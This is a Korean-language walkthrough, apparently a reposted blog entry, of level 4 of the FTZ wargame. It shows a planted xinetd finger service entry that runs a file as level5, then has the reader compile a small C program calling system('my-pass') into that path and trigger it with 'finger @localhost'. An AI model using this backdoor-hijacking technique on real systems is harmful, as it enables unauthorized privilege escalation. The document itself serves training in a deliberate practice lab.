[FTZ] level4
이번에는 ftz 레벨4 문제를 풀어봅시다. 힌트를 보았더니 '누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!'라고 되어있네요.
참고로 백도어란 말그대로 뒷문같은 의미로 어떤 시스템에서 정상적인 인증절차를 우회하는 것입니다. 한마디로 보안적으로 안 좋다는 뜻입니다.
아무튼 해당 경로를 가봤더니 backdoor란 파일이 있습니다. 그 파일을 확인해봅시다.
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
이렇게 써져있습니다. finger 서비스로 이루어진 backdoor입니다.
여기서 finger란 사용자 계정 정보와 최근 로그인 정보 등을 볼 수 있는 명령어입니다.
user=level5로 되어있는 걸로 봐선 레벨5 권한이 있다는 뜻인 것 같고 server=/home/level4/tmp/backdoor를 봐서는 해당 파일을 실행하는 것 같습니다. 한마디로 level5 권한으로 해당 경로의 파일을 실행시켜준다는 뜻 같습니다.
그러니까 /home/level4/tmp 경로로 와서 보니 backdoor란 파일이 없으므로 my-pass 명령어를 입력하는 backdoor 파일을 만들어봅시다.
vi backdoor.c를 입력하고 'i'를 눌려서 편집 모드로 바꾸고
#include<stdio.h>
#include<stdlib.h>
int main() {
system("my-pass");
return 0;
}
를 입력해주시고 esc를 누르시고 :wq를 입력합시다.
그 다음 gcc -o backdoor backdoor.c를 눌러 backdoor.c를 실행시켜주는 backdoor 파일을 만들어줍니다.
이젠 마지막으로
finger @localhost
를 입력해주시면 "what is your name?"이라는 레벨5의 비밀번호가 나옵니다.
Author And Source
이 문제에 관하여([FTZ] level4), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@gbskang/FTZ-level4저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)